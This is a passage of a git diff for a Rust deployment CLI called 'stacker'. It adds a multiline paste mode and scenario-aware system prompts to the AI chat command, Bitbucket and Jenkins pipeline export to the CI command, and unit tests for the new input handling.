+        assert_eq!(auth.password, "secret");
+        assert_eq!(auth.registry, "docker.io");
+
+        match old_username {
+            Some(value) => std::env::set_var("STACKER_DOCKER_USERNAME", value),
+            None => std::env::remove_var("STACKER_DOCKER_USERNAME"),
+        }
+        match old_password {
+            Some(value) => std::env::set_var("STACKER_DOCKER_PASSWORD", value),
+            None => std::env::remove_var("STACKER_DOCKER_PASSWORD"),
+        }
+        match old_registry {
+            Some(value) => std::env::set_var("STACKER_DOCKER_REGISTRY", value),
+            None => std::env::remove_var("STACKER_DOCKER_REGISTRY"),
+        }
+    }
 }
diff --git a/src/console/commands/cli/ai.rs b/src/console/commands/cli/ai.rs
index 7081d4a6..c57b27f8 100644
--- a/src/console/commands/cli/ai.rs
+++ b/src/console/commands/cli/ai.rs
@@ -1,16 +1,19 @@
+use std::io::{self, BufRead, Write};
 use std::path::{Path, PathBuf};
-use std::io::{self, Write};
 
 use crate::cli::ai_client::{
-    AiProvider, AiResponse, ChatMessage, ToolCall, ToolDef,
-    all_write_mode_tools, create_provider,
+    all_write_mode_tools, create_provider, AiProvider, AiResponse, ChatMessage, ToolCall, ToolDef,
 };
+use crate::cli::ai_scenarios::{load_scenario_prompt_context, ScenarioSelection};
 use crate::cli::config_parser::{AiConfig, AiProviderType, StackerConfig};
 use crate::cli::error::CliError;
-use crate::cli::service_catalog::{ServiceCatalog, catalog_summary_for_ai};
+use crate::cli::service_catalog::{catalog_summary_for_ai, ServiceCatalog};
 use crate::console::commands::CallableTrait;
 
 const DEFAULT_CONFIG_FILE: &str = "stacker.yml";
+const CHAT_MULTILINE_MAX_LINES: usize = 512;
+const CHAT_MULTILINE_SEND_MARKER: &str = "::send";
+const CHAT_MULTILINE_CANCEL_MARKER: &str = "::cancel";
 
 /// Condensed stacker.yml schema reference injected as the AI system prompt
 /// so the model can answer "how do I …" questions with precise YAML examples.
@@ -100,8 +103,8 @@ Use it to answer user questions with concrete YAML examples.
   stacker logs [--service S] [--follow] [--tail N]\n\
   stacker destroy --confirm [--volumes]\n\
   stacker config validate | show | fix | example\n\
-  stacker ai ask \"question\" [--context file]\n\
-  stacker proxy add DOMAIN --upstream URL --ssl auto|off\n\
+  stacker ai ask \"question\" [--context file] [--scenario website-deploy] [--step STEP]\n\
+  stacker proxy add DOMAIN --upstream URL --ssl[=auto|off]\n\
   stacker proxy detect\n\
   stacker ssh-key generate --server-id N [--save-to PATH]\n\
   stacker ssh-key show --server-id N [--json]\n\
@@ -177,6 +180,86 @@ fn prompt_with_default(prompt: &str, default: &str) -> Result<String, CliError>
     }
 }
 
+fn read_input_line<R: BufRead>(reader: &mut R) -> Result<Option<String>, CliError> {
+    let mut line = String::new();
+    let bytes = reader.read_line(&mut line)?;
+    if bytes == 0 {
+        return Ok(None);
+    }
+
+    Ok(Some(line.trim_end_matches(['\n', '\r']).to_string()))
+}
+
+#[derive(Debug, PartialEq, Eq)]
+enum ChatReplCommand {
+    Exit,
+    Help,
+    Clear,
+    Paste,
+    Message(String),
+    Empty,
+}
+
+fn parse_chat_repl_command(line: String) -> ChatReplCommand {
+    let trimmed = line.trim();
+    if trimmed.is_empty() {
+        return ChatReplCommand::Empty;
+    }
+
+    match trimmed.to_ascii_lowercase().as_str() {
+        "exit" | "quit" | ":q" => ChatReplCommand::Exit,
+        "help" | ":help" | "?" => ChatReplCommand::Help,
+        "clear" | ":clear" => ChatReplCommand::Clear,
+        "paste" | ":paste" | "/paste" => ChatReplCommand::Paste,
+        _ => ChatReplCommand::Message(line),
+    }
+}
+
+#[derive(Debug, PartialEq, Eq)]
+enum MultilineInputResult {
+    Submit(String),
+    Cancelled,
+    Eof,
+    LimitExceeded { max_lines: usize },
+}
+
+fn collect_multiline_input<R: BufRead, W: Write>(
+    reader: &mut R,
+    prompt_writer: &mut W,
+) -> Result<MultilineInputResult, CliError> {
+    let mut lines = Vec::new();
+
+    loop {
+        write!(prompt_writer, "\x1b[1;36m…\x1b[0m ")?;
+        prompt_writer.flush()?;
+
+        let Some(line) = read_input_line(reader)? else {
+            return Ok(MultilineInputResult::Eof);
+        };
+
+        let trimmed = line.trim();
+        match trimmed.to_ascii_lowercase().as_str() {
+            CHAT_MULTILINE_SEND_MARKER => {
+                if lines.is_empty() {
+                    return Ok(MultilineInputResult::Cancelled);
+                }
+
+                return Ok(MultilineInputResult::Submit(lines.join("\n")));
+            }
+            CHAT_MULTILINE_CANCEL_MARKER => return Ok(MultilineInputResult::Cancelled),
+            _ => {}
+        }
+
+        if lines.len() == CHAT_MULTILINE_MAX_LINES {
+            return Ok(MultilineInputResult::LimitExceeded {
+                max_lines: CHAT_MULTILINE_MAX_LINES,
+            });
+        }
+
+        lines.push(line);
+    }
+}
+
 fn configure_ai_interactive(config_path: &str) -> Result<AiConfig, CliError> {
     let path = Path::new(config_path);
     if !path.exists() {
@@ -213,7 +296,10 @@ fn configure_ai_interactive(config_path: &str) -> Result<AiConfig, CliError> {
         Some(api_key_input)
     };
 
-    let endpoint_default = current.endpoint.as_deref().unwrap_or("http://localhost:11434");
+    let endpoint_default = current
+        .endpoint
+        .as_deref()
+        .unwrap_or("http://localhost:11434");
     let endpoint_input = prompt_with_default("Endpoint", endpoint_default)?;
     let endpoint = if endpoint_input.trim().is_empty() {
         None
@@ -263,6 +349,25 @@ pub fn build_ai_prompt(question: &str, context_content: Option<&str>) -> String
     }
 }
 
+pub fn build_system_prompt_base(
+    project_dir: &Path,
+    ai_config: &AiConfig,
+    scenario: Option<&ScenarioSelection>,
+    include_catalog: bool,
+) -> Result<String, CliError> {
+    let mut sections = vec![STACKER_SCHEMA_SYSTEM_PROMPT.to_string()];
+    if include_catalog {
+        sections.push(catalog_summary_for_ai());
+    }
+
+    if let Some(selection) = scenario {
+        sections
+            .push(load_scenario_prompt_context(project_dir, ai_config, selection)?.rendered_prompt);
+    }
+
+    Ok(sections.join("\n\n"))
+}
+
 fn build_default_project_context(project_dir: &Path) -> Option<String> {
     let mut blocks: Vec<String> = Vec::new();
 
@@ -308,6 +413,15 @@ pub fn run_ai_ask(
     question: &str,
     context: Option<&str>,
     provider: &dyn AiProvider,
+) -> Result<String, CliError> {
+    run_ai_ask_with_system_prompt(question, context, provider, STACKER_SCHEMA_SYSTEM_PROMPT)
+}
+
+pub fn run_ai_ask_with_system_prompt(
+    question: &str,
+    context: Option<&str>,
+    provider: &dyn AiProvider,
+    system_prompt: &str,
 ) -> Result<String, CliError> {
     let context_content = match context {
         Some(path) => {
@@ -326,7 +440,7 @@ pub fn run_ai_ask(
     };
 
     let prompt = build_ai_prompt(question, context_content.as_deref());
-    provider.complete(&prompt, STACKER_SCHEMA_SYSTEM_PROMPT)
+    provider.complete(&prompt, system_prompt)
 }
 
 // ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
@@ -356,8 +470,12 @@ fn try_extract_tool_calls_from_text(text: &str) -> Vec<ToolCall> {
     // Try full string first, then scan for the first '{' / '['
     let candidates: Vec<&str> = {
         let mut v = vec![stripped.as_str()];
-        if let Some(idx) = stripped.find('{') { v.push(&stripped[idx..]); }
-        if let Some(idx) = stripped.find('[') { v.push(&stripped[idx..]); }
+        if let Some(idx) = stripped.find('{') {
+            v.push(&stripped[idx..]);
+        }
+        if let Some(idx) = stripped.find('[') {
+            v.push(&stripped[idx..]);
+        }
         v
     };
 
@@ -376,17 +494,17 @@ fn try_extract_tool_calls_from_text(text: &str) -> Vec<ToolCall> {
 fn parse_tool_calls_from_json(json: &serde_json::Value) -> Vec<ToolCall> {
     // Array of calls
     if let Some(arr) = json.as_array() {
-        let calls: Vec<ToolCall> = arr.iter()
+        let calls: Vec<ToolCall> = arr
+            .iter()
             .flat_map(|v| parse_tool_calls_from_json(v))
             .collect();
-        if !calls.is_empty() { return calls; }
+        if !calls.is_empty() {
+            return calls;
+        }
     }
 
     // {"name": ..., "arguments": {...}}
-    if let (Some(name), Some(args)) = (
-        json["name"].as_str(),
-        json.get("arguments"),
-    ) {
+    if let (Some(name), Some(args)) = (json["name"].as_str(), json.get("arguments")) {
         let arguments = if args.is_object() {
             args.clone()
         } else if let Some(s) = args.as_str() {
@@ -394,18 +512,23 @@ fn parse_tool_calls_from_json(json: &serde_json::Value) -> Vec<ToolCall> {
         } else {
             serde_json::json!({})
         };
-        return vec![ToolCall { id: None, name: name.to_string(), arguments }];
+        return vec![ToolCall {
+            id: None,
+            name: name.to_string(),
+            arguments,
+        }];
     }
 
     // {"tool": ..., "parameters": {...}}
-    if let (Some(name), Some(args)) = (
-        json["tool"].as_str(),
-        json.get("parameters"),
-    ) {
+    if let (Some(name), Some(args)) = (json["tool"].as_str(), json.get("parameters")) {
         return vec![ToolCall {
             id: None,
             name: name.to_string(),
-            arguments: if args.is_object() { args.clone() } else { serde_json::json!({}) },
+            arguments: if args.is_object() {
+                args.clone()
+            } else {
+                serde_json::json!({})
+            },
         }];
     }
 
@@ -429,7 +552,7 @@ fn is_write_allowed(path_str: &str) -> bool {
         .trim_start_matches('/')
         .trim_start_matches('\\');
     // Reject any path that tries to escape with "../"
-    if p.contains("../") || p.contains("..\\" ) || p == ".." {
+    if p.contains("../") || p.contains("..\\") || p == ".." {
         return false;
     }
     p == "stacker.yml" || p.starts_with(".stacker/") || p.starts_with(".stacker\\")
@@ -443,16 +566,17 @@ fn run_subprocess(args: &[&str]) -> String {
         Err(e) => return format!("Error: could not resolve binary path: {}", e),
     };
 
-    match std::process::Command::new(&exe)
-        .args(args)
-        .output()
-    {
+    match std::process::Command::new(&exe).args(args).output() {
         Ok(out) => {
             let stdout = String::from_utf8_lossy(&out.stdout);
             let stderr = String::from_utf8_lossy(&out.stderr);
             let combined = format!("{}{}", stdout, stderr).trim().to_string();
             if out.status.success() {
-                if combined.is_empty() { "OK (no output)".to_string() } else { combined }
+                if combined.is_empty() {
+                    "OK (no output)".to_string()
+                } else {
+                    combined
+                }
             } else {
                 format!("Exit {}: {}", out.status.code().unwrap_or(-1), combined)
             }
@@ -571,7 +695,11 @@ fn execute_tool(call: &ToolCall, cwd: &Path) -> String {
 
         // ── agent CLI tools ────────────────────────────────────────────────
         "agent_health" => {
-            let mut args: Vec<String> = vec!["agent".to_string(), "health".to_string(), "--json".to_string()];
+            let mut args: Vec<String> = vec![
+                "agent".to_string(),
+                "health".to_string(),
+                "--json".to_string(),
+            ];
             if let Some(app) = call.arguments["app"].as_str() {
                 args.push("--app".to_string());
                 args.push(app.to_string());
@@ -584,7 +712,11 @@ fn execute_tool(call: &ToolCall, cwd: &Path) -> String {
             run_subprocess(&args.iter().map(|s| s.as_str()).collect::<Vec<_>>())
         }
         "agent_status" => {
-            let mut args: Vec<String> = vec!["agent".to_string(), "status".to_string(), "--json".to_string()];
+            let mut args: Vec<String> = vec![
+                "agent".to_string(),
+                "status".to_string(),
+                "--json".to_string(),
+            ];
             if let Some(dep) = call.arguments["deployment"].as_str() {
                 args.push("--deployment".to_string());
                 args.push(dep.to_string());
@@ -597,7 +729,12 @@ fn execute_tool(call: &ToolCall, cwd: &Path) -> String {
                 Some(a) => a,
                 None => return "Error: missing 'app' argument".to_string(),
             };
-            let mut args: Vec<String> = vec!["agent".to_string(), "logs".to_string(), app.to_string(), "--json".to_string()];
+            let mut args: Vec<String> = vec![
+                "agent".to_string(),
+                "logs".to_string(),
+                app.to_string(),
+                "--json".to_string(),
+            ];
             if let Some(limit) = call.arguments["limit"].as_u64() {
                 args.push("--limit".to_string());
                 args.push(limit.to_string());
@@ -624,7 +761,11 @@ fn execute_tool(call: &ToolCall, cwd: &Path) -> String {
             if call.arguments["force_rebuild"].as_bool().unwrap_or(false) {
                 args.push("--force-rebuild".to_string());
             }
-            let label = if dry_run { "stacker deploy --dry-run" } else { "stacker deploy" };
+            let label = if dry_run {
+                "stacker deploy --dry-run"
+            } else {
+                "stacker deploy"
+            };
             eprintln!("  ⚙ running: {}", label);
             run_subprocess(&args.iter().map(|s| s.as_str()).collect::<Vec<_>>())
         }
@@ -633,7 +774,8 @@ fn execute_tool(call: &ToolCall, cwd: &Path) -> String {
                 Some(d) => d,
                 None => return "Error: missing 'domain' argument".to_string(),
             };
-            let mut args: Vec<String> = vec!["proxy".to_string(), "add".to_string(), domain.to_string()];
+            let mut args: Vec<String> =
+                vec!["proxy".to_string(), "add".to_string(), domain.to_string()];
             if let Some(upstream) = call.arguments["upstream"].as_str() {
                 args.push("--upstream".to_string());
                 args.push(upstream.to_string());
@@ -816,7 +958,10 @@ fn run_chat_turn(
                     if iteration + 1 == MAX_TOOL_ITERATIONS {
                         return Err(CliError::AiProviderError {
                             provider: provider.name().to_string(),
-                            message: format!("Reached maximum tool iterations ({})", MAX_TOOL_ITERATIONS),
+                            message: format!(
+                                "Reached maximum tool iterations ({})",
+                                MAX_TOOL_ITERATIONS
+                            ),
                         });
                     }
                     continue;
@@ -846,7 +991,10 @@ fn run_chat_turn(
                 if iteration + 1 == MAX_TOOL_ITERATIONS {
                     return Err(CliError::AiProviderError {
                         provider: provider.name().to_string(),
-                        message: format!("Reached maximum tool iterations ({})", MAX_TOOL_ITERATIONS),
+                        message: format!(
+                            "Reached maximum tool iterations ({})",
+                            MAX_TOOL_ITERATIONS
+                        ),
                     });
                 }
             }
@@ -910,7 +1058,11 @@ pub fn run_ai_ask_agentic(
                         // strip the JSON before showing narration to user
                         let narration = text
                             .lines()
-                            .filter(|l| !l.trim().starts_with('{') && !l.trim().starts_with('[') && !l.trim().starts_with('`'))
+                            .filter(|l| {
+                                !l.trim().starts_with('{')
+                                    && !l.trim().starts_with('[')
+                                    && !l.trim().starts_with('`')
+                            })
                             .collect::<Vec<_>>()
                             .join("\n");
                         if !narration.trim().is_empty() {
@@ -930,7 +1082,10 @@ pub fn run_ai_ask_agentic(
                     if iteration + 1 == MAX_TOOL_ITERATIONS {
                         return Err(CliError::AiProviderError {
                             provider: provider.name().to_string(),
-                            message: format!("Reached maximum tool iterations ({})", MAX_TOOL_ITERATIONS),
+                            message: format!(
+                                "Reached maximum tool iterations ({})",
+                                MAX_TOOL_ITERATIONS
+                            ),
                         });
                     }
                     continue;
@@ -952,10 +1107,7 @@ pub fn run_ai_ask_agentic(
                 // Execute each tool and append results
                 for call in &calls {
                     let result = execute_tool(call, &cwd);
-                    messages.push(ChatMessage::tool_result(
-                        call.id.clone(),
-                        result,
-                    ));
+                    messages.push(ChatMessage::tool_result(call.id.clone(), result));
                 }
 
                 if iteration + 1 == MAX_TOOL_ITERATIONS {
@@ -991,6 +1143,8 @@ pub struct AiAskCommand {
     pub context: Option<String>,
     pub configure: bool,
     pub write: bool,
+    pub scenario: Option<String>,
+    pub step: Option<String>,
 }
 
 impl AiAskCommand {
@@ -1000,6 +1154,8 @@ impl AiAskCommand {
             context,
             configure: false,
             write: false,
+            scenario: None,
+            step: None,
         }
     }
 
@@ -1012,6 +1168,12 @@ impl AiAskCommand {
         self.write = write;
         self
     }
+
+    pub fn with_scenario(mut self, scenario: Option<String>, step: Option<String>) -> Self {
+        self.scenario = scenario;
+        self.step = step;
+        self
+    }
 }
 
 impl CallableTrait for AiAskCommand {
@@ -1022,13 +1184,15 @@ impl CallableTrait for AiAskCommand {
             load_ai_config(DEFAULT_CONFIG_FILE)?
         };
         let provider = create_provider(&ai_config)?;
+        let cwd = std::env::current_dir()?;
+        let scenario_selection = self
+            .scenario
+            .as_ref()
+            .map(|name| ScenarioSelection::new(name.clone(), self.step.clone()));
 
         if self.write {
-            let enriched_prompt = format!(
-                "{}\n\n{}",
-                STACKER_SCHEMA_SYSTEM_PROMPT,
-                catalog_summary_for_ai()
-            );
+            let enriched_prompt =
+                build_system_prompt_base(&cwd, &ai_config, scenario_selection.as_ref(), true)?;
             let response = run_ai_ask_agentic(
                 &self.question,
                 self.context.as_deref(),
@@ -1039,10 +1203,17 @@ impl CallableTrait for AiAskCommand {
                 println!("{}", response);
             }
         } else {
-            let response = run_ai_ask(
+            let system_prompt = build_system_prompt_base(
+                &cwd,
+                &ai_config,
+                scenario_selection.as_ref(),
+                scenario_selection.is_some(),
+            )?;
+            let response = run_ai_ask_with_system_prompt(
                 &self.question,
                 self.context.as_deref(),
                 provider.as_ref(),
+                &system_prompt,
             )?;
             println!("{}", response);
         }
@@ -1059,12 +1230,16 @@ const CHAT_HELP: &str = "\
 Commands available in the AI chat session:
   help          Show this message
   clear         Reset conversation history (keeps system context)
+  paste         Enter multiline paste mode
   exit / quit   End the session
   Ctrl-D        End the session
 
 Tips:
   - Ask anything about your stacker.yml, Dockerfile, or deployment.
   - With --write the AI can create/edit files in .stacker/ and stacker.yml.
+  - Run `paste`, then finish with `::send` to submit a multiline prompt.
+  - Use `::cancel` to discard multiline input.
+  - Multiline input is limited to 512 lines per message.
   - Conversation history is kept across turns — the AI remembers context.";
 
 /// `stacker ai [--write]`
@@ -1075,11 +1250,17 @@ Tips:
 /// but only for `stacker.yml` and files inside `.stacker/`.
 pub struct AiChatCommand {
     pub write: bool,
+    pub scenario: Option<String>,
+    pub step: Option<String>,
 }
 
 impl AiChatCommand {
-    pub fn new(write: bool) -> Self {
-        Self { write }
+    pub fn new(write: bool, scenario: Option<String>, step: Option<String>) -> Self {
+        Self {
+            write,
+            scenario,
+            step,
+        }
     }
 }
 
@@ -1089,6 +1270,9 @@ impl CallableTrait for AiChatCommand {
         let provider = create_provider(&ai_config)?;
         let model_name = ai_config.model.as_deref().unwrap_or("default");
         let provider_name = provider.name();
+        let stdin = io::stdin();
+        let mut reader = stdin.lock();
+        let mut stdout = io::stdout();
 
         let write_active = self.write && provider.supports_tools();
 
@@ -1097,64 +1281,89 @@ impl CallableTrait for AiChatCommand {
             "Stacker AI  ({provider} · {model}){tools}",
             provider = provider_name,
             model = model_name,
-            tools = if write_active { "  [write mode — .stacker/ + stacker.yml]" } else { "" }
+            tools = if write_active {
+                "  [write mode — .stacker/ + stacker.yml]"
+            } else {
+                ""
+            }
         );
-        eprintln!("Type your question and press Enter.  `help` for tips, `exit` to quit.");
+        eprintln!("Type your question and press Enter. Use `paste` for multiline input.");
+        eprintln!("`help` for tips, `exit` to quit.");
         eprintln!();
 
         // Seed project context into the initial system message
         let cwd = std::env::current_dir()?;
         let project_ctx = build_default_project_context(&cwd);
-        let catalog_ctx = catalog_summary_for_ai();
+        let scenario_selection = self
+            .scenario
+            .as_ref()
+            .map(|name| ScenarioSelection::new(name.clone(), self.step.clone()));
+        let base_system =
+            build_system_prompt_base(&cwd, &ai_config, scenario_selection.as_ref(), true)?;
         let system = match project_ctx {
-            Some(ctx) => format!(
-                "{}\n\n{}\n\n## Current project files\n{}",
-                STACKER_SCHEMA_SYSTEM_PROMPT, catalog_ctx, ctx
-            ),
-            None => format!(
-                "{}\n\n{}",
-                STACKER_SCHEMA_SYSTEM_PROMPT, catalog_ctx
-            ),
+            Some(ctx) => format!("{}\n\n## Current project files\n{}", base_system, ctx),
+            None => base_system,
         };
 
         let mut messages: Vec<ChatMessage> = vec![ChatMessage::system(&system)];
 
         loop {
             // Prompt
-            print!("\x1b[1;36m>\x1b[0m ");
-            io::stdout().flush()?;
+            write!(stdout, "\x1b[1;36m>\x1b[0m ")?;
+            stdout.flush()?;
 
             // Read a line (Ctrl-D → EOF → break)
-            let mut line = String::new();
-            let bytes = io::stdin().read_line(&mut line)?;
-            if bytes == 0 {
+            let Some(line) = read_input_line(&mut reader)? else {
                 eprintln!("\nBye!");
                 break;
-            }
-
-            let input = line.trim();
-            if input.is_empty() {
-                continue;
-            }
+            };
 
-            match input.to_lowercase().as_str() {
-                "exit" | "quit" | ":q" => {
+            let user_input = match parse_chat_repl_command(line) {
+                ChatReplCommand::Exit => {
                     eprintln!("Bye!");
                     break;
                 }
-                "help" | ":help" | "?" => {
+                ChatReplCommand::Help => {
                     eprintln!("{}", CHAT_HELP);
                     continue;
                 }
-                "clear" | ":clear" => {
+                ChatReplCommand::Clear => {
                     messages.truncate(1); // keep system message
                     eprintln!("  ↺ conversation cleared");
                     continue;
                 }
-                _ => {}
-            }
+                ChatReplCommand::Paste => {
+                    eprintln!(
+                        "Paste mode — finish with `{}`, cancel with `{}`, max {} lines.",
+                        CHAT_MULTILINE_SEND_MARKER,
+                        CHAT_MULTILINE_CANCEL_MARKER,
+                        CHAT_MULTILINE_MAX_LINES
+                    );
+
+                    match collect_multiline_input(&mut reader, &mut stdout)? {
+                        MultilineInputResult::Submit(message) => message,
+                        MultilineInputResult::Cancelled => {
+                            eprintln!("  ↺ paste cancelled");
+                            continue;
+                        }
+                        MultilineInputResult::Eof => {
+                            eprintln!("\nBye!");
+                            break;
+                        }
+                        MultilineInputResult::LimitExceeded { max_lines } => {
+                            eprintln!(
+                                "  ✗ paste too large: maximum {} lines per message",
+                                max_lines
+                            );
+                            continue;
+                        }
+                    }
+                }
+                ChatReplCommand::Message(input) => input,
+                ChatReplCommand::Empty => continue,
+            };
 
-            match run_chat_turn(&mut messages, input, provider.as_ref(), write_active) {
+            match run_chat_turn(&mut messages, &user_input, provider.as_ref(), write_active) {
                 Ok(reply) => {
                     println!("\n{}\n", reply);
                 }
@@ -1173,6 +1382,19 @@ impl CallableTrait for AiChatCommand {
 #[cfg(test)]
 mod tests {
     use super::*;
+    use crate::cli::config_parser::AiProviderType;
+
+    fn scenario_ai_config() -> AiConfig {
+        AiConfig {
+            enabled: true,
+            provider: AiProviderType::Ollama,
+            model: Some("qwen2.5-coder:latest".to_string()),
+            api_key: None,
+            endpoint: Some("http://localhost:11434".to_string()),
+            timeout: 300,
+            tasks: vec![],
+        }
+    }
 
     struct MockProvider {
         response: String,
@@ -1180,12 +1402,16 @@ mod tests {
 
     impl MockProvider {
         fn new(response: &str) -> Self {
-            Self { response: response.to_string() }
+            Self {
+                response: response.to_string(),
+            }
         }
     }
 
     impl AiProvider for MockProvider {
-        fn name(&self) -> &str { "mock" }
+        fn name(&self) -> &str {
+            "mock"
+        }
         fn complete(&self, _prompt: &str, _context: &str) -> Result<String, CliError> {
             Ok(self.response.clone())
         }
@@ -1229,11 +1455,8 @@ mod tests {
         std::fs::write(&ctx_path, "FROM rust:1.75\nCOPY . .").unwrap();
 
         let provider = MockProvider::new("Looks good!");
-        let result = run_ai_ask(
-            "Review this",
-            Some(ctx_path.to_str().unwrap()),
-            &provider,
-        ).unwrap();
+        let result =
+            run_ai_ask("Review this", Some(ctx_path.to_str().unwrap()), &provider).unwrap();
         assert_eq!(result, "Looks good!");
     }
 
@@ -1243,4 +1466,76 @@ mod tests {
         let result = run_ai_ask("question", Some("/does/not/exist.txt"), &provider);
         assert!(result.is_err());
     }
+
+    #[test]
+    fn test_build_system_prompt_base_includes_scenario_step() {
+        let dir = tempfile::TempDir::new().unwrap();
+        let state = crate::cli::ai_scenarios::ScenarioState::new("website-deploy", "init-validate");
+        crate::cli::ai_scenarios::save_scenario_state(dir.path(), &state).unwrap();
+
+        let prompt = build_system_prompt_base(
+            dir.path(),
+            &scenario_ai_config(),
+            Some(&ScenarioSelection::new(
+                "website-deploy",
+                Some("init-validate".to_string()),
+            )),
+            true,
+        )
+        .unwrap();
+
+        assert!(prompt.contains("Active deployment scenario"));
+        assert!(prompt.contains("init-validate"));
+        assert!(prompt.contains("Validate generated stacker config"));
+    }
+
+    #[test]
+    fn test_parse_chat_repl_command_detects_paste_mode() {
+        assert_eq!(
+            parse_chat_repl_command("  :paste  ".to_string()),
+            ChatReplCommand::Paste
+        );
+    }
+
+    #[test]
+    fn test_collect_multiline_input_submits_joined_message() {
+        let mut reader = std::io::Cursor::new(b"first line\nsecond line\n::send\n");
+        let mut prompt = Vec::new();
+
+        let result = collect_multiline_input(&mut reader, &mut prompt).unwrap();
+        assert_eq!(
+            result,
+            MultilineInputResult::Submit("first line\nsecond line".to_string())
+        );
+        assert!(!prompt.is_empty());
+    }
+
+    #[test]
+    fn test_collect_multiline_input_can_cancel() {
+        let mut reader = std::io::Cursor::new(b"first line\n::cancel\n");
+        let mut prompt = Vec::new();
+
+        let result = collect_multiline_input(&mut reader, &mut prompt).unwrap();
+        assert_eq!(result, MultilineInputResult::Cancelled);
+    }
+
+    #[test]
+    fn test_collect_multiline_input_rejects_more_than_512_lines() {
+        let mut input = String::new();
+        for idx in 0..=CHAT_MULTILINE_MAX_LINES {
+            input.push_str(&format!("line-{idx}\n"));
+        }
+        input.push_str("::send\n");
+
+        let mut reader = std::io::Cursor::new(input.into_bytes());
+        let mut prompt = Vec::new();
+
+        let result = collect_multiline_input(&mut reader, &mut prompt).unwrap();
+        assert_eq!(
+            result,
+            MultilineInputResult::LimitExceeded {
+                max_lines: CHAT_MULTILINE_MAX_LINES,
+            }
+        );
+    }
 }
diff --git a/src/console/commands/cli/ci.rs b/src/console/commands/cli/ci.rs
index aff8d14f..c0c6db9e 100644
--- a/src/console/commands/cli/ci.rs
+++ b/src/console/commands/cli/ci.rs
@@ -3,6 +3,8 @@
 //! ```text
 //! stacker ci export --platform github   # writes .github/workflows/stacker-deploy.yml
 //! stacker ci export --platform gitlab   # writes .gitlab-ci.yml
+//! stacker ci export --platform bitbucket # writes bitbucket-pipelines.yml
+//! stacker ci export --platform jenkins  # writes Jenkinsfile
 //! stacker ci validate --platform github # checks pipeline is in sync with stacker.yml
 //! ```
 
@@ -20,7 +22,7 @@ const DEFAULT_CONFIG_FILE: &str = "stacker.yml";
 // ci export
 // ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
 
-/// `stacker ci export --platform <github|gitlab> [--file stacker.yml]`
+/// `stacker ci export --platform <github|gitlab|bitbucket|jenkins> [--file stacker.yml]`
 pub struct CiExportCommand {
     pub platform: String,
     pub file: Option<String>,
@@ -43,7 +45,7 @@ impl CallableTrait for CiExportCommand {
             }));
         }
 
-        let config = StackerConfig::from_file(path)?;
+        let config = StackerConfig::from_file(path)?.with_resolved_deploy_target(None)?;
         let exporter = CiExporter::new(config);
 
         let (output_content, output_path) = match self.platform.to_lowercase().as_str() {
@@ -57,9 +59,19 @@ impl CallableTrait for CiExportCommand {
                 let out = PathBuf::from(".gitlab-ci.yml");
                 (content, out)
             }
+            "bitbucket" | "bitbucket-pipelines" | "bb" => {
+                let content = exporter.generate_bitbucket()?;
+                let out = PathBuf::from("bitbucket-pipelines.yml");
+                (content, out)
+            }
+            "jenkins" | "jenkinsfile" => {
+                let content = exporter.generate_jenkins()?;
+                let out = PathBuf::from("Jenkinsfile");
+                (content, out)
+            }
             other => {
                 return Err(Box::new(CliError::ConfigValidation(format!(
-                    "Unknown platform '{other}'. Supported: github, gitlab"
+                    "Unknown platform '{other}'. Supported: github, gitlab, bitbucket, jenkins"
                 ))));
             }
         };
@@ -96,7 +108,10 @@ impl CallableTrait for CiExportCommand {
                 println!("  1. Add STACKER_TOKEN to your GitHub repository secrets");
                 println!("     (Settings → Secrets and variables → Actions)");
                 println!("  2. Commit and push the workflow file:");
-                println!("     git add {} && git commit -m 'ci: add stacker deploy workflow'", output_path.display());
+                println!(
+                    "     git add {} && git commit -m 'ci: add stacker deploy workflow'",
+                    output_path.display()
+                );
             }
             "gitlab" | "gitlab-ci" => {
                 println!();
@@ -104,7 +119,32 @@ impl CallableTrait for CiExportCommand {
                 println!("  1. Add STACKER_TOKEN to your GitLab CI/CD variables");
                 println!("     (Settings → CI/CD → Variables)");
                 println!("  2. Commit and push the pipeline file:");
-                println!("     git add {} && git commit -m 'ci: add stacker deploy pipeline'", output_path.display());
+                println!(
+                    "     git add {} && git commit -m 'ci: add stacker deploy pipeline'",
+                    output_path.display()
+                );
+            }
+            "bitbucket" | "bitbucket-pipelines" | "bb" => {
+                println!();
+                println!("Next steps:");
+                println!("  1. Add STACKER_TOKEN to your Bitbucket repository variables");
+                println!("     (Repository settings → Pipelines → Repository variables)");
+                println!("  2. Commit and push the pipeline file:");
+                println!(
+                    "     git add {} && git commit -m 'ci: add stacker deploy pipeline'",
+                    output_path.display()
+                );
+            }
+            "jenkins" | "jenkinsfile" => {
+                println!();
+                println!("Next steps:");
+                println!("  1. Add STACKER_TOKEN to your Jenkins job environment or credentials");
+                println!("     (for example, as a job parameter or injected secret text)");
+                println!("  2. Commit and push the pipeline file:");
+                println!(
+                    "     git add {} && git commit -m 'ci: add stacker deploy pipeline'",
+                    output_path.display()
+                );
             }
             _ => {}
         }
@@ -117,7 +157,7 @@ impl CallableTrait for CiExportCommand {
 // ci validate
 // ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
 
-/// `stacker ci validate --platform <github|gitlab>`
+/// `stacker ci validate --platform <github|gitlab|bitbucket|jenkins>`
 ///
 /// Checks that the existing pipeline file was generated for the current
 /// `stacker.yml` (i.e., the project name in the pipeline matches).
@@ -133,25 +173,25 @@ impl CiValidateCommand {
 
 impl CallableTrait for CiValidateCommand {
     fn call(&self) -> Result<(), Box<dyn std::error::Error>> {
-        let config = StackerConfig::from_file(Path::new(DEFAULT_CONFIG_FILE))?;
+        let config = StackerConfig::from_file(Path::new(DEFAULT_CONFIG_FILE))?
+            .with_resolved_deploy_target(None)?;
 
         let pipeline_path = match self.platform.to_lowercase().as_str() {
             "github" | "github-actions" | "gha" => {
                 PathBuf::from(".github/workflows/stacker-deploy.yml")
             }
             "gitlab" | "gitlab-ci" => PathBuf::from(".gitlab-ci.yml"),
+            "bitbucket" | "bitbucket-pipelines" | "bb" => PathBuf::from("bitbucket-pipelines.yml"),
+            "jenkins" | "jenkinsfile" => PathBuf::from("Jenkinsfile"),
             other => {
                 return Err(Box::new(CliError::ConfigValidation(format!(
-                    "Unknown platform '{other}'. Supported: github, gitlab"
+                    "Unknown platform '{other}'. Supported: github, gitlab, bitbucket, jenkins"
                 ))));
             }
         };
 
         if !pipeline_path.exists() {
